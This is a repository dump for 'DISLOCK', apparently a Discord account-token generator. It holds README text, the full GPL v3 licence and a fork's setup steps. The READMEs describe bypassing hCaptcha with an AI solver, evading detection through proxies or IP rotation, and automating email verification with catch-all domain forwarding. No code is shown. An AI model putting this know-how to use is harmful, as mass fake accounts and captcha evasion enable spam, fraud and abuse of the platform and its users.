96 | :------- | :------------------------- |
97 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way |
98 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens |
99 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com |
100 |
101 | ##### Usages will be updated when Discord fixxes Modes
102 |
103 | ## Contributing
104 |
105 | Contributions are always welcome!
106 |
107 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started.
108 |
109 |
110 | ## To the Skids
111 |
112 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d.
113 |
114 | ## Copyright and License
115 | © [Vinyzu](https://github.com/Vinyzu/)
116 |
117 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/)
118 |
119 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty)
120 |
121 | ## Authors
122 |
123 | - [@Vinyzu](https://github.com/Vinyzu)
124 |
125 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.`
126 |
127 |
128 |
129 | [](https://discord.gg/rpd4gzrqGN)
130 | [](https://discordapp.com/users/935224495126487150)
131 | [](https://ko-fi.com/vinyzu)
132 |
133 |
134 | ## Thanks to
135 |
136 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.)
137 |
138 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing)
139 |
140 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies)
141 |
142 |
143 | 
144 | 
145 | 
146 | 
147 |
--------------------------------------------------------------------------------
/Version 1/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Version 1/README.md:
--------------------------------------------------------------------------------
1 | # Edited by FuckingToaster's Fork:
2 | ## New Features & Improvments
3 | - Got rid of Tempmail.lol (their ip for dns record is blocked by discord & more code take longer to execute)
4 | - Using IMAP (free custom domain, not blocked by discord & faster verification)
5 | - Added external configuration file to setup IMAP
6 | - Fixed Tokens aren't saved in the file after verìfîcation (wasn't saved before if joining a invite failed)
7 | [Note: Some TLDs are blocked by discord (discord won't send a email to them. I noticed it for .monster but there might be more]
8 |
9 | ## Setup Mail Verification:
10 | - Create a GMAIL Account which is used to forward all Discord Mails to
11 | - Setup 2FA on the GMAIL Account you just made
12 | - Navigate to this Site: https://mail.google.com/mail/u/2/#settings/fwdandpop and enable the IMAP Option
13 | - Add a App Password here: https://myaccount.google.com/u/2/security (Option is only shown if 2FA is enabled) | Set App to Other and choose a random Name)
14 | - Add your Details in the config File.
15 |
16 | ## Using a Custom Domain:
17 | - Follow the Steps above in Setup Mail Verification and then contine with the Info below
18 | - Register a Account at https://improvmx.com
19 | - Setup the DNS Records the Site provide you with in your Domain's DNS Settings
20 | - Add your Domain Forwarding to * (This forward all mails sent to custom domain to the gmail you just made)
21 |
22 |
23 | # Orginal Readme created by the orginal Author's
24 | # DISLOCK
25 |
26 | # I accidently deleted the v2.0 update files (bout 1 week or 30 workhours), this project is discontinued for a bit, while im working on botright.
27 |
28 | # I decided to do that because i can easily build this on botright when its finished.
29 |
30 | DISLOCK is the most advanced Discord Browser Generator.
31 |
32 | It is capable of generating Unlocked Tokens for free by Using AI.
33 | DISLOCK is currently undetected by Discord because its Human Emulation.
34 |
35 | You will have to use HQ Proxies/IPs to get unlocked tokens.
36 |
37 | ## Features
38 |
39 | - TokenGenerator on discord.com [Almost always Unlocked]
40 | - TokenGenerator on discord.com/register [Mostly Unlocked]
41 | - Captcha Tester on hcaptcha.com
42 |
43 | ## Demo Videos
44 |
45 | ### Unclaimed Generator
46 | https://streamable.com/4wvhdw
47 |
48 | ### Normal Generator
49 | https://streamable.com/w9l2fz
50 |
51 | ## Proxies
52 |
53 | You will have to use HQ Proxies/IPs to get Unlocked Tokens.
54 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs.
55 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice.
56 |
57 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D)
58 |
59 | ## Artificial Intelligence
60 |
61 | The AI of this bot is not mine and i dont take any credits for it.
62 |
63 | It was created by QIN2DIM and can be found [here](https://github.com/QIN2DIM/hcaptcha-challenger).
64 | If you want to update the AI because im late, you will have to grab the files from given repository.
65 |
